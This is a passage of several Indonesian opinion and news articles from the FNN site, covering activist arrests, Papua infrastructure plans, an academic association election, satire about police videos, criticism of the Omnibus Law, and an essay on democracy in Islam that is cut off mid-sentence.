Ustaza Kingkin dan yang lainnya yang sedang ditahan penyidik, karena disangka melakukan tindak pidana, entah apa persisnya tindak pidana itu. Satu hal yang bisa dicatat adalah cara penangkapan mereka, khususnya Dr. Sahganda dan Jumhur Hidayat terlihat berbeda dengan penangkapan Buya Hamka. Buya Hamka, tulis Haidar Musyafa, mengatakan rupanya yang datang kerumahku siang itu empat orang polisi dari Departemen Angkatan Kepolisian (DEPAK). Setelah berucap salam dan saling jabat tangan, aku langsung mempersilahkan keempat polisi itu untuk duduk di kursi yang ada di serambi rumahku, tempat yang biasa aku gunakan menerima semua tamu. Tak lama setelah itu, salah seorang diantara polisi itu mengatakan jika kedatangan mereka kerumahku untuk menangkapku. Sejurus kemudian, polisi yang bertubuh tegap dan bertampang sangar tersebut menunjukan Surat Perintah Penahanan Sementara yang sudah diparaf langsung oleh Presiden Soekarno (Lihat Haidar Musyafa, Buya..hal 615). Sangat memalukan. Buya Hamka tak pernah disidang. Buya keluar dari penjara setelah pemerintahan Bung Karno berakhir secara riil, setelah peristiwa G. 30 S PKI. Lalu bagaimana dengan Dr. Sahganda, Jumhur, Anton Permana, Ustazah Kingkin dan lainnya? Sepintas materi hukum pada kasus ini punya potensi untuk membebaskan mereka. Tetapi terlalu dini untuk dianalisis. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Memindahkan Papua Dari Bahu ke Mobil (Bagian-1)

by Luthfi Pattimura Jakarta FNN – Senin (19/10). Tanggal 19 Desember 2018, kami menginjakkan kaki di bumi Cendrawasih, Papua. Malamnya menginap di sebuah hotel, di Abepura. Ini kota kecil saja. Tidak ada beton-beton industri. Apalagi beton yang megah berdiri seperti di kota-kota besar. Sambil menunggu Dr. Janiver Manalu, Dekan Fakultas Teknik Universitas Cendrawasih (Uncen) untuk berbincang-bincang, kami minum kopi panas di restorant hotel kami nginap. Ketika minum kopi itu, iseng-iseng kami berpikir, adakah kami sedang menikmati Papua? Nikmati kopi panasnya, iya! Yang kami pikirkan itu mungkin sedikit menyangkut kelas. Setelah Janiver muncul dan kami berbincang. Terasa kalau kita mau menikmati Papua sambil duduk di warung kecil, di tepian jalan dan memandang keriuhan jalan protokol Abepura. Namun itu mungkin akan terjadi sepuluh atau limabelas tahun lagi. Yang pasti. “Saya pernah terenyuh”, demikian Janiver memulai cerita. “Ketika masyarakat dari pegunungan Papua, pada suatu hari meminta tolong agar jalan bisa dibuka. Mereka bahkan ingin bisa menikmati jalan itu seperti apa? Ingin menikmati jalan seperti saudara-saudara yang lain”. Jalur Emas Selatan Papua Mendengar cerita di atas. Kami langsung ingat sebuah perbincangan lain. Bersama Dr. Ir. Nicolaas E Kuahaty M.Ec.Dev. pemikir dan praktisi kebijakan infrastruktur. Saat mengingatnya, perbincangan itu membantu kami mengenal raksasa komunitas Papua dengan komuditasnya. Terutama yang berada di lahan terbuka NKRI, tetapi tersembunyi di depan mata. Bukan itu saja. Dari timbunan data dan informasi tentang bagaimana, dan ke arah mana Papua dibangun? Kuahaty secara analisis langsung memotong rute perbincangan dengan menyatakan bahwa pengembangann Papua idealnya dimulai dari selatan. Mengapa? “Wilayah selatan adalah wilayah terdekat sisi jarak dari Pulau Jawa. Kita tahu, barang-barang kebutuhan pokok termasuk bahan bangunan masih didatangkan dari Jawa. Rasionalitas jarak memiliki korelasi positif terhadap biaya, sehingga jarak terpendek akan berpengaruh pada pergerakan atau mobilitas.” Lalu, pernyataan berikutnya yang mengikuti analisa di atas berbuyi, “Selain itu, wilayah selatan Papua memiliki beberapa pusat kawasan stategis nasional dalam pembangunan yang berbasis pada Wilayah Pengembangan Strategis (WPS). Ini merupakan suatu pendekatan pembangunan yang memadukan wilayah dengan market driven yang tidak mengabaikan daya dukung dan daya tampung lingkungan”. Menurut Kuahaty, Pembangunan berbasis WPS fokus pada pengembangan infrastruktur menuju wilayah strategis. Ini mendukung percepatan pertumbuhan kawasan-kawasan di WPS, serta mengurangi disparitas antar kawasan di dalam WPS yakni Sorong, PKN Bintuni, PKN Mimika dan PKN Merauke. Penetapan pusat kawasan nasional adalah untuk mendukung beberapa industri strategis atau objek vital nasional. Misaslnya Industri Minyak Petrochina di Kab Sorong, Industri Gas BP Tangguh di Kab Bintuni, Industri Tambang Tembaga dan Emas PT Freeport Indonesia di Kab Mimika, dan Industri MIFEE di Kab Merauke. Jatuhnya, kata Kuahaty adalah “jalur jalan yang menghubungkan Sorong, Teluk Bintuni, Mimika, Yahukimo dan berakhir di Merauke.” Jadi, bila pemerintah mendorong konektivitas selatan Papua, maka akan terjadi sebuah pergerakan pertumbuhan linear yang cepat terhadap transportasi orang barang dan jasa. Hal ini signifikan dipengaruhi oleh adanya interaksi keuangan yang tinggi. Kita tahu, transportasi manusia atau barang bukanlah tujuan akhir. Makanya itu, permintaan akan jasa transportasi dapat disebut sebagai permintaan turunan (derived demand) yang timbul akibat adanya permintaan akan komoditas atau jasa lainnya. Beberapa perubahan yang merupakan manfaat dari konektivitas selatan Papua adalah akan memberikan akses yang lebih mudah bagi tenaga kerja, terutama orang asli Papua untuk melakukan pilihan yang lebih rasional terhadap peluang kerja pada industri yang ada. Kemudian, akan mendorong bertumbuhnya jalur distribusi pangan untuk industri yang di supply dari kawasan belakang yang memiliki lahan potensial pertanian dan perkebunan. Selanjutnya, terciptanya hilirisasi industri melalui pembangunan peleburan (smelter) dan pemurnian (refinery). Sementara pemanfaatan sisa produksi Migas dan Tambang dapat memenuhi kebutuhan pupuk untuk pengembangan kawasan pangan andalan di Merauke melalui MIFEE. Bahkan sisa pasir tambang (sirsat) PT.Freeport Indonesia dapat dijadikan bahan dasar pembuatan semen. “Pengembangan industri hilir,” kata Kuahaty, “pada intinya adalah untuk memastikan terciptanya rantai nilai ekonomi (value chained of economics). Sebab pada akhirnya, the last but not least, jalur tersebut akan memberikan efek perpindahan dengan daya beli yang tinggi. Nanti untuk jangka panjang, dampaknya adalah, meningkatnya daya saing daerah. Yang diperlihatkan dengan menurunya angka kemiskinan. Daya serap tenaga kerja tinggi, Pertumbuhan ekonomi yang stabil. Ketimpangan (gini ratio) berada pada distribusi pendapatan merata. Tentu akan berujung pada Papua Mandiri, yakni menjadi tuan di negeri sendiri. Sebuah harapan dalam konsep membangun jalur emas di selatan Papua. Selanjutnya, sebagai sebuah alternatif dalam menggagas kebijakan pembangunan transportasi rel kereta api. Jalur ini dapat dipertimbangkan mengingat posisi staretigis dalam mendorong pembangunan inklusif di Papua. (bersambung). Penulis adalah Wartwan Senior FNN.co.id.

Ubedilah Badrun Kembali Menjadi Ketua APPSANTI

by Dr. Andi Octamaya Tenri Awaru Makasar FNN – Senin (19/10). Ubedilah Badrun dari Univeritas Negeri Jakarta (UNJ) terpilih kembali untuk kedua kalinya secara aklamasi menjadi Ketua Asosiasi Program Studi Pendidikan Sosiologi dan Antropologi Indonesia (APPSANTI). Ubedilah terpilih untuk periode 2020-2022 pada Munas ke II APPSANTI yang diselenggarakan secara virtual. Munas ke II APPSANTI ini diselenggarakan pada Minggu tanggal 18 Oktober 2020 kemarin. Berindak sebagai tuan rumah adalah Universitas Negeri Makassar (UNM). Ubedilah Badrun adalah akademisi Universitas Negeri Jakarta (UNJ) di bidang Sosial dan Politik. "Pak Ubedilah Badrun terpilih secara aklamasi, yang disetujui oleh 18 Perguruan Tinggi se-Indonesia anggota APPSANTI " ujar Ketua panitia Munas II APPSANTI Dr. Andi Octamaya Tenri Awaru yang juga sebagai akademisi Universitas Negeri Makasar (UNM) di bidang Pendidikan Sosiologi. Menurut Andi Octamaya Tenri, Munas ke II APPSANTI ini diselenggarakan dalam tiga rangkaian kegiatan. "Sebelum Musyawarah Nasional, terlebih dahulu diselenggarakan Kompetisi Nasional mahasiswa pendidikan sosiologi dan antropologi se-Indonesia (Kompensanti) pada tangga 17 Oktober. Selain itu, juga diselenggarakan Seminar Nasional dan Musyawarah Nasional 18 Oktober yang di dalamnya ada pemilihan Ketua yang baru untuk periode 2020-2022. Semua rangkaian kegiatan acara Munas ke II APPSANTI dapat berjalan dengan lancar, dan sukses. "Terima kasih kepada semua pihak yang telah menyukseskan rangkain acara dan kegiatan Munas ke II APPSANTI ini. Terima kasih juga atas kepercayaan seluruh anggota APPSANTI. Saya bukanlah orang terbaik di asosiasi ini, “ujar Ubedilah Badrun. “Semoga pada periode kedua ini dapat melaksanakan amanah secara lebih baik lagi. Baik untuk turut berkontribusi terhadap pembangunan sosial di Indonesia. Lebih khusus lagi di bidang pendidikan sosiologi dan antropologi untuk perubahan Indonesia yang lebih baik" tutu Ubedilah Badrun saat ditanya jurnalis usai terpilih kembali untuj memimpin asosiasi berskala nasional ini. Penulis adalah Akademisi Universitas Negeri Makasar.

Mau Tanya, Video Kawal Jogging & Helikopter Itu Hoax Apa Tidak?

by Asyari Usman Jakarta FNN - Senin (19/10). Pihak yang berkuasa selalu mengancam akan memenjarakan orang yang mereka tuduh menyebar hoax. Walaupun orang itu tidak tahu kalau foto, video, atau informasi yang dia posting adalah hoax. Pokoknya, semua akan ditangkapi. Vonis penguasa bahwa “itu hoax”, sudah cukup menjadi alasan untuk menangkap orang-orang yang dituduh terlibat hoax. Menteri Kominfo Johnny G Plate mengatakan kalau pemerintah mengatakan sesuatu itu hoax, maka itu adalah hoax. Nah, ngeri ‘kan kekuasaan Pak Johnny. Itulah sebabnya saya ingin bertanya langsung di sini tentang dua rekaman video. Isinya tentang personel dan/atau inventaris Kepolisian RI. Pertanyaannya: kedua rekaman video itu hoax atau tidak? Video pertama menunjukkan pengawalan yang dilakukan oleh mobil Polisi untuk beberapa “orang penting” yang sedang lari jogging di jalan raya. Ada yang mengatakan itu terjadi di Bali. Entah iya, entah tidak. Ada pula yang mengatakan yang dikawal itu adalah orang swasta yang maha penting. Diberitakan, Divisi Propam Polda Bali telah memeriksa personel kepolisian yang melakukan pengawalan “orang penting” itu. Publik ingin tahu secara detail dan transparan. Siapakah orang-orang yang dikawal itu? Agar tidak ada yang berspekulasi. Sebab, banyak yang mengatakan bahwa mereka adalah anggota keluarga konglomerat. Video kedua menunjukkan helikopter yang bertuliskan “POLISI” mendarat di lapangan terbuka. Tak jelas di mana lokasi itu. Setelah mendarat, tampak sejumlah “orang awam” yang berpakaian santai turun dari heli. Kejadian heli Polisi mengangkut “penumpang istimewa” itu, menurut laporan media, juga sudah diperiksa oleh Divisi Propam Polri. Konon, pilot heli sudah diinterogasi. Namun, meskipun para personel yang melakukan penyimpangan prosedur itu sudah diperiksa, kami tetap merasa perlu bertanya. Apakah pengawalan “orang penting” di Bali dan “penumpang istimewa” heli Polisi itu benar-benar terjadi seperti yang terekam di video? Apakah betul kedua kejadian itu telah diperiksa oleh Propam Polri? Ditakutkan, semuanya hoax. Khawatir kedua video itu hoax dan berita tentang pemeriksaan Propam juga hoax. Itulah yang perlu ditanyakan. Jangan-jangan kedua rekaman video itu hoax. Siapa tahu konten kedua video itu hasil editan. Entah kan tulisan “POLISI” di badan heli itu editan. Begitu juga mobil polisi yang mengawal orang penting sedang jogging. Siapa tahu cat mobil itu hasil editan. Sehingga terlihat seperti mobil polisi. Entah pun orang-orang yang dikawal itu juga editan. Bisa saja mereka sedang jogging di pantai tapi diedit begitu rupa seolah-olah sedang jogging di jalan raya dengan pengawalan mobil polisi. ‘Kan gawat itu hoax-nya! Itu, Pak Polisi, yang membuat kami bertanya ke Bapak. Memang kedua video itu kami lihat sudah viral di medsos. Tetapi, kami merasa lebih baik menunggu jawaban dari Bapak saja. Sekalian juga mau bertanya ke Pak Johnny Plate. Beliau ini ‘kan punya wewenang untuk menyatakan sesuatu itu hoax atau tidak. Pertanyaan kami ke Pak Johnny, kedua video itu hoax atau bukan Pak? Bapak ‘kan bilang, kalau pemerintah mengatakan hoax, maka itu adalah hoax. Jadi, kami tunggu ya Pak. Maaf ya Pak Polisi dan Pak Menteri, kami terpaksa bertanya secara terbuka di halaman ini. Supaya pertanyaan itu tidak dibilang hoax. Terakhir Pak, rakyat berpesan agar Propam tidak hanya menyelidiki personel yang mengawal jogging. Juga jangan hanya mengintegogasi pilot heli. Mereka ‘kan bekerja berdasarkan perintah atasan. Sangat perlu memastikan apakah atasan mereka berperan, Pak. Seadil dan setransparan mungkinlah, Pak.[] Penanya adalah Warganet.

Pemerintah Yang Buat Kekacauan Akibat Omnibus Law?

by Salamuddin Daeng Jakarta FNN – Senin (19/10). Undang-Undang (UU) Omnibus Law Cipta Kerja (Cilaka) panen kegagalan. Sejak semula, berbagai kritik dan saran telah kita sampaikan kepada pemerintah. Baik itu kritik secara terbuka di hadapan publik, melalui diskusi dan seminar, maupun melalui jalur lembaga-lembaga resmi negara. Kritik itu ada yang didengar, namun ada juga yang tidak. Ada juga yang dianggap sebagai angin lalu saja. Namun beberapa persoalan yang telah dikritisi itu, justru menjadi kenyataan sekarang. Intinya, pemerintah telah gagal dalam membuat kebijakan program dan proyek-proyeknya yang paling dibanggakan tersebut. Pertama, sebanyak 14 Paket Kebijakan yang diterbitkan pemerintah, dengan menelan biaya dan tenaga besar. Namun semuanya gagal. Paket-paket kebijakan tersebut berisi kegiatan obral sumber daya alam dan sumber daya ekonomi. Namun paket-paket itu keliru, dan gagal dalam menerjemahkan keadaan nasional dan internasional. Kerjanya amatiran dan recehan. Akibatnya berantakan semua. Kedua, kebijakan tax amnesty untuk mencari uang Rp 10.000 triliun rupiah. Kebijakan ini juga gagal dan berantakan semuanya. Tax amnesty adalah proyek pengampunan pajak. Namun dalam kenyataan menjadi proyek pengampunan piutang negara dan pengampunan para koruptor, pelaku penggelapan pajak, dan pengampunan para peternak uang kotor. Akhirnya tax amnesty yang tadinya berorientasi ke luar untuk memgejar harta para koruptor, digeser ke dalam negeri. Akibatnya adalah menghapus banyak sekali piutang pajak pemerintah yang belum tertagih kepada pengusaha di dalam negeri. Ini kebijakan yang ngaco, ngawur, dan bebal. Ketiga, meskipun tidak ada uang, pemerintah memaksakan ambisi pembangunan infrastruktur. Lalu dipaksakan lagi dengan mega proyek energi listrik 35.000 Mw, mega proyek kilang, dan sekarang mega proyek ibukota baru. Semua mega proyek ini tidak hanya gagal, namun juga tidak properly. Sehingga mewariskan beban utang dan pemeliharaan dimasa depan yang tak dapat dibiayai. Wajah Buruk Pembuat UU Akibat dari berbagai kegagalan di depan mata ini, para pemikir ekonomi di lingkaran kekuasan menuduh adanya tumpang tindih regulasi. Tidak singkronnya berbagai program dan proyek pemerintah, serta benturan kepentingan antara penyelenggara negara, yakni pemerintah, legislatif, yudikatif dan pemeintah daerah, sebagai penyebab dari kegagalan rencana pemerintah. Padahal semua UU mereka (DPR dan Pemerintah )yang buat sendiri. Mereka yang bikin tumpang tindih sendiri. Mereka yang buat situasi berantakan sendiri. Jadi kesimpulannya, pemerintahan ini jelas menuduh diri mereka sendiri sebagai pembuat kekacauan (chaos). Bukan yang lain. Lalu dibuatlah Omnimbus Law. Tujuannya menghilangkan berbagai hambatan regulasi, mensingkronisasi regulasi yang bertentangan, dan mengintegrasikan kembali kelembagaan pemerintah yang selama ini kepentingannya berbenturan. Namun Omnibus Law yang tadinya diharapkan bisa membuat stabilitas politik dan ekonomi, malah yang terjadi sebaliknya. Menjadi sumber kekacauan baru ngeri ini. Setidaknya ada tiga hal yang akan tercipta dari Omnibus Law. Pertama, ketidakpastian regulasi di bidang ekonomi, politik dan sosial akan makin parah. Perubahan UU sekaligus dalam jumlah banyak, akan membuat dunia usaha bingung. Bagaimana mereka dapat beradaptasi dengan aturan-aturan baru yang akan turun setelah Omnibus law? Kedua, ketaatan pada hukum makin buruk. Ini dikarenakan regulasi yang berubah-ubah. Terjadi banyak benturan dengan regulasi internasional yang telah diratifikasi pemerintah. Omnibus Law berdasarkan draft yang beredar, banyak sekali bertentangan dengan aturan aturan internasional di bidang lingkungan hidup, perburuhan atau ketenagakerjaan, dan norma demokrasi serta hak azasi manusia. Kitiga, Peraturan Pemerintah, Perpres, serta Kepmen berikutnya yang menjadi aturan pelaksana UU Omnibus Law rawan diperjual belikan. Ini dikarenakan banyaknya aturan itu sendiri, dan kepentingan diantara oligarki yang bersaing memperebutkan hal-hal yang akan diatur berikutnya. Dampaknya ke depan, akan banyak masalah yang bisa muncul. Misalnya, kekosongan hukum, atau aturan yang hanya bersumber dari pesanan pihak pihak tertentu. Bahkan sangat mungkin berakibat chaos dalam praktek penyelengaraan negara, pemerintahan, ekonomi dan sosial politik. Barangkali ada setitik niat baik dalam penyusunan Omnibus Law. Namun sejak semula perubahan sekitar 73 UU ini dipandang tidak demokrastis. Juga tidak transparan, dan tidak akuntable. Pihak internasional justru memandang Omnibus law membahayakan masa depan investasi, ketenagakerjaan dan lingkungan hidup di Indonesia. Sementara di dalam negeri terjadi penolakan yang begitu masiv dan keras dari buruh, mahasiswa, pelajar dan umat Islam. Mengapa bisa terjadi demikian? Ada yang salah dengan penyelenggara negara dan pemerintahan ini. Tetapi salah itu apa ya? Ada Yang Menginginakan Chaos Dalam dua dekade terakhir, sejak UUD 1945 diamandemen, Indonesia disebut berada dalam masa transisi. Jangankan waktu yang cukup panjang memang. Suasan politik dan ekonomi penuh dengan ketidak pastian. Dalam hal regulasi terjadi beberapa masalah yang timbul. Pertama, peraturan perundang-undangan terus diproduksi setiap waktu dalam hitungan hari dan bulan. Peraturan baru terus saja bermunculan. Peraturan lama berganti dengan yang baru sangat cepat dan begitu mudah. Akibatnya, semua cemas menunggu UU yang baru dan baru lagi. Kedua, peraturan perusahan dapat dibatalkan setiap saat. Baik oleh individu, maupun badan hukum melalui Mahkamah Konstitusi (MK). Orang pun resah apakah sebuah Undang-Undang yang baru lahir akan dibatalkan lagi atau tidak. Makin tidak pasti regulasi tersebut. Ketiga, banyak regulasi yang telah dibatalkan oleh MK. Namun pemerintan tidak juga membuat aturan pelaksanaannya. Pemerintah sepertinya enggan melaksanakan putusan MK tersebut. Lalu UU yang mana yang harus dijadikan pegangan? Lagi-lagi membingungkan pemerintah ini. Keempat, banyak UU yang pada tingkat pelaksanaannya dilanggar oleh pemerintah sendiri. Karena pesanan dari pengusaha, pesanan asing dan lain sebagainya. Jadi peraturan pelaksanaan UU ternyata rawan menjadi obyek pesanan para pengusaha. Kelima, banyak lembaga baru yang dilahirkan oleh UU. Terjadi persaingan, rebutan peran antara kementrerian dan lembaga dalam mengejar proyek akibat lahirnya suatu Undang-Undang. Makin kacau karena pelaksananya terlibat dalam konflik kepentingan. Kesemua itu melahirkan kondisi chaos dalam pelaksanaan negara dan pemerintahan. Terjadi kekacauan dalam regulasi. Aadanya tumpang tindih regulasi, tumpang tindih birokrasi dikarenakan tumpang tindih kepentingan. Aakibat dari kehidupan bernegara dan pemerintahan yang serba kacau balau. Implikasinya negara tidak memiliki kesempatan menegakkan aturan. Aparat hukum juga tidak leluasa menegakkan aturan. Oknum aparat negara rawan menjadi kaki tangan pengusaha, agar menegakkan aturan tertentu saja. Tidak menegakkan aturan lainnya, agar kepentingan sang pengusaha langgeng. Ada menteri dan anggota DPR yang juga pengusaha. Sehingga memproduksi aturan hanya untuk melindungi kepentingan binsis mereka sendiri. Dan tampaknya langkah itu banyak membawa hasil. Banyak pejabat sekaligus pengusaha berhasil menjadi kaya raya dalam masa transisi ini. Dalam situasi ketidakpastian dan chaos ini, kita menyaksikan negara dikuasai para pebisnis. Tampak sekali sebagian aturan ditegakkan untuk kepentingan bisnis meraka. Sebagian yang lain tidak ditegakkan agar mereka semakin kaya. Inilah keadaan paling chaos dalam praktek kehidupan bernegara. Mereka telah belajar bagaimana merancang situasi ketidakpastiandan chaos itu. Melalui Omnibus Law, mereka secara efektif telah menyisir UU yang tidak menguntungkan bisnis mereka. Menghabisi pasal pasal dalam 79 UU yang dapat memperkaya oligarki kekuasaan. Mereka bisa saja membuang pasal yang dipandang menghambat, yang seringkali menyangku kepentingan orang banyak. Itulah Omnibus Law. Dalam dua dekade transisi yang chaos ini, para konglomerat busuk, taipan kelas kakap menjadi semakin kaya raya. Mereka tak tersentuh hukum. Mereka menguasai politik secara penuh. Uang terkonsentrasi pada segelintir orang kaya. Sebagian besar kekayaan dikuasai segelintir konglomerat. Akibatnya, kekayaan empat orang kaya Indonesia setara dengan kekayaan 100 juta penduduk negeri ini. Koefisien gini ratio meningkat. Yang kaya makin kaya, bandar makin kaya. Rakyat makin miskin. Harap sabaaaaaaaaaaaaar lagi. Penulis adalah Peneliti Asosiasi Ekonomi dan Politik Indonesia (AEPI).

Bahaya, Ali Ngabalin Ditunggangi ISIS

by M Rizal Fadillah Bandung FNN – Senin (19/10). Setelah menyembur kalimat "sampah demokrasi" untuk pendemo Undang-Undang Cipta Kerja (Cilaka) beberapa hari lalu, kini mulut Ali Muchtar Ngabalin kembali menyemprot pendemo lagi. Kali ini dengan bahasa "Waspadai ISIS". Rupanya berseri umpatan demi umpatan Bapak Tenaga Ahli Utama (TAHU) ini he he hee. Terkesan lucu dan menjengkelkan, pria yang bersorban ini. Apalagi berusaha merepresentasi diri sebagai "tokoh Islam", tetapi gemar menyakiti umat Islam ini. Misalnya, ceramah "Trinitas" di gereja telah memporak-porandakan akidah. Khas karakter manusia pencari muka. Muka dicari-cari, entah lupa kalau menyimpen dimana ? Mungkin tertinggal di pintu gerbang istana? He he heee. ISIS yang sudah ditempatkan di museum purbakal, kini dibuka-buka kembali oleh Tuan TAHU. Engga kejauhan tuh menghubungkan aksi unjuk rasa penolakan Undang-Undang Cilaka Omnibus Law dengan ISIS? Harus pergi ke Irak dan Suriah segala. Kasihan buruh dan mahasiswa yang sudah rela menanggung segala risiko untuk berunjuk rasa, eh ditunggangi ISIS kata Ali Ngabalin. Justru yang terjadi adalah Ali Ngabalin yang kemungkinan saja ditunggangi oleh ISIS. Ini yang harus diwaspadai. Ikatan Sahabat Ideologi Sesat (ISIS). Apalagi kalau ideologi Kapitalis dan Komunis. Kedua ideologi inilah yang sedang diperjuangkan oleh ISIS agar Undang-Undang Omnibus Law Cilaka sukses merusak NKRI. Ali Ngabalin kok mau maunya menjadi corong ISIS sih? Undang-Undang Omnibus Law Cilaka ditolak buruh, mahasiswa, pelajar dan umat Islam karena sangat menguntungkan pemilik modal dan pengusaha licik, picik, tamak dan culas. Juga dianggap merugikan hak-hak para pekerja. Ketidakadilan ini yang dikritisi sekarang. Sukses Omnibus Law adalah kemenangan kaum kapitalis dan komunis. Pahami itu baik-baik Ali Ngabalin. Disisi lain, satu Undang-Undang yang memakan dan menghilangkan banyak undang-undang adalah jalan bagi otoritarianisme. Kewenangan Pemerintah Daerah banyak yang diambil dan ditarik ke Pemerintah Pusat. Hegemoni kekuasaan semakin nampak. Ratusan peraturan pelaksanaan yang dibuat merupakan kewenangan penuh Pemerintah, baik melalui Peraturan Pemerintah, Kepres, dan Keputusan Menteri. Ini tidak lain adalah jalan untuk menjadikan Undang-Undang Omnibus Law Cilaka sebagai pintu masuk pengembangan sistem ekonomi komando yang dikenal dengan etatisme-sosialisme. Embrio dari komunisme. Ali Ngabilin perlu belajar ekonomi komando dan perizinan sentralitik yang hari ini dipraktekan oleh pemrintah komunis Republik Rakyat China (RRC). Spektrum luas yang hendak dicakupi dari Undang-Undang Omnibus Law Cilaka, ternyata bukan saja terfokus pada aspek-aspek ekonomi semata. Namun lebih dari aspek ekonomi itu. Kanyatan inilah membuat Undang-Undang Omnibus Law Cilaka menjadi aturan yang sanbgat berbahaya. Aturan sesat yang bertentangan dengan ideologi Pancasila. Nah tuan Ali Ngabalin perlu diwaspadai. Sebab kini anda sedang ditunggangi oleh kelompok ISIS (Ikatan Sahabat Ideologi Sesat). Ideologi yang bersembunyi di balik sorbanmu atau mungkin dalam otakmu. Selamat bersahabat dengan kaum kapitalis dan komunis. Penulis adalah Pemerhati Ali Ngabalin.

Demokrasi Jujur Versus Munafik

by Imam Shamsi Ali Makasar FNN – Senin (19/10). Konon Demokrasi itu dipahami sebagai bentuk pemerintahan dari rakyat, oleh rakyat, dan untuk rakyat. Artinya, kekuasaan tertinggi itu sesungguhnya ada di tangan rakyat. Pengertian di atas tentunya sebagai pemahaman demokrasi yang berbentuk liberal. Bahwa Demokrasi liberal memang semuanya terpusat pada manusia. Manusia memang menempatkan diri sebagai superman dalam hidupnya. Pemahaman ini tentunya merupakan antitesis dari konsep teokrasi atau konsep bernegara yang berdasarkan kepada paham agama secara mutlak. Dimana pemerintah diyakini sebagai “representasi Tuhan”. Karenanya memiliki hak sacara mutlak untuk menentukan urusan publik sesuai keyakinan dari agama yang dianutnya. Antara paham Demokrasi liberal dan konsep negara teokrasi sesungguhnya memilki kecenderungan yang sama. Keduanya adalah konsep yang rentang melahirkan “absolutisme” yang dapat merugikan negara atau bangsa. Konsep Demokrasi liberal, rakyat sebagai pemegang kekuasaan tertinggi sering mengantar kepada paham dan praktek hidup yang sesuai dengan kecenderungan rakyat banyak. Hal ini tentu sangat berbahaya. Karena kebenaran dan kebatilan, khususnya yang berkaitan dengan agama dan moralitas, akan ditentukan oleh arah suara rakyat mayoritas. Jika mayoritas rakyat itu sadar agama dan moralitas tentu masih positif. Tetapi, jika mayoritas rakyat telah menyeleweng dari nilai-nilai “kefitrahan” kemanusiaan, maka akan terlahir kemudian kebijakan-kebijakan publik yang bertentangan dengan fitrah manusia. Sebaliknya, pada konsep teokrasi, kekuasaan tertinggi ada pada pemimpin (Imam) yang diyakini sebagai wakil Tuhan di bumi. Dan karenanya, atas nama agama atau Tuhan, kebijakan publik semuanya ditentukan oleh pemimpin, Imam atau Khalifah. Masalahnya adalah pemimpin itu walaupun memang diyakini sebagai Wakil Tuhan (khususnya dalam konteks pemerintahan Syiah), tetapi pastinya mereka adalah tetap manusia yang memiliki semua kecenderungan manusia itu (hawa nafsu, dan lain-lain). Maka, sebagaimana teori yang mengatakan bahwa “power tend to corrupt” (kekuasaan cenderung korup atau merusak). Paham teokrasi ini tidak jarang berakhir pada “kekuasaan mutlak” (diktatorship) yang melahirkan kesemena-menaan dan manipulasi dalam kebijakan publik dan menejemen negara. Disinilah kemudian Islam dan praktek publik (kenegaraan) Rasulullah Sallaahu Alaihi Wasallam mengambil jalan tengah (wasatiyah). Mengambil sebuah sistim yang di satu sisi memberikan hak otoritas (kekuasaan) kepada penguasa. Taat kepada penguasa (umara) dapat dipandang sebagai taat kepada Allah dan RasulNya). Namun di sisi lain, Islam memberikan hak yang dijaga dan dijamin untuk rakyat. Bahkan dalam konteks tertentu, rakyat wajib melakukan koreksi kepada kekuasaan. Bahwa kekuasaan itu tidak lain adalah amanah dari Allah, sekaligus tanggung jawab untuk memberikan pelayanan (khidmah) kepad rakyat. Jika kita menelusuri karakter pemerintahan Islam dalam perjalanan sejarahnya, bahkan dari zaman Rasulullah Salallaahu Alaihi Wassallam di Madinah, memiliki kecenderungan menapak jalan pemerintahan yang “tawazun” (imbang). Rasulullah Salallaahu Alaihi Wasallam bahkan sebagai Rasul dan nabi kita yakini menerima wahyu dalam segala urusan aspek kehidupan. Tetapi kesadaran akan hak rakyat dalam tatanan kehidupan publik (negara) Rasulullah Sallaahu Alaihi Wasallam juga tidak jarang menerima masukan dari para sahabat. Bahkan beberapa kali justeru apa yang diinginkan oleh Rasulullah Sallaahu Alaihi Wasallam berbeda dengan keinginan mayoritas umat. Dan Rasulullah Sallaahu Alaihi Wasallam kemudian mengambil pendapat mayoritas selama tidak melanggar prinsip ajaran agama.Salah satunya yang kita ingat dalam sejarah adalah kisah perang Khandak atau Parit ketika itu. Juga dalam hal tawanan perang Badar, dimana beliau menerima pendapat Abu Bakar Assinddiq Radiyallaahu Anhu ketimbang pendapat Umar Bin Khatab Radiyallaahu Anhu. Belakangan justeru yang dikonfirmasi oleh Allah adalah opini Umar Ibnu Khatthab Radiyallaahu Anhu. Pemerintahan Islam yang imbang itu sangat nampak dalam proses pembentukan dasar negara yang dikenal dengan Piagam Madinah. Dalam prosesnya, Rasulullah Sallaahu Alaihi Wasallam melibatkan seluruh unsur masyarakat Madinah dari semua kalangan. Padahal realitanya sekali lagi beliau adalah seorang Rasul yang pastinya “tidak mengatakan sesuai keinginannya (hawa nafsu), tetapi dengan wahyu yang disampaikan kepadanya” (ayat). Para Khulafa Rasyidin semuanya disatu sisi menerima kekuasaan itu sebagai amanah Allah. Tetapi amanah itu dalam konteks “khidmatul ibaad” (pelayanan kepada hamba-hambaNya). Namun disisi lain, mereka semua sadar bahwa rakyat disatu sisi adalah “ra’iyah” (yang digembala, dijaga, diperhatikan, dilayani, dan seterusnya). Namun disisi lain mereka juga memiliki hak dan atau kewajiban untuk mengawal dan mengoreksi kekuasaan itu jika menyeleweng. Disaat Abu Bakar Assiddiq Radiyallaahu Anhu menerima amanah kekuasaan ketika itu, beliau berdiri dengan pedang terhunus seraya menyampaikan, “saya telah dipilih sebagai pemimpin dan belum tentu saya yang terbaik diantara kalian. Maka bantulah saya dalam mengemban amanah ini. Tetapi jika saya menyeleweng, maka luruslan saya dengan pedang ini”. Demikian pula Umar Bin Khatab, Utsman Bin Affan, Ali Bin Abi Thalib Radiyallaahu Anhu. Semua pemimpin Islam dalam sejarah yang konsisten dengan ajaran Islam. Semuanya menyadari, jika kekuasaan itu adalah amanah Allah untuk memberikan prlayanan terbaik kepada hamba-hambaNya. Oleh karena itu, dalam konsep nation state saat ini, dimana Demokrasi menjadi konsensus dalam kehidupan bernegara dan berbangsa, Umat Islam dan bangsa Indonesia tentunya akan selalu konsisten dengan pemahaman yang imbang itu. Bahwa pemerintah (kekuasaan) punya hak otoritas untuk mengelolah negara dan bangsa. Tetapi juga sadar bahwa dalam tatanan kehidupan bernegara yang demokratis, rakyat memiliki hak (bahkan kewajiban) untuk mengoreksi kekuasaan yang cenderung korup tadi. Saya yakin konsep demokrasi imbang inilah yang dianut di Indonesia. Apalagi memang Indonesia bukan negara agama. Tetapi juga bukan negara sekuler liberal. Maka jalan tengah 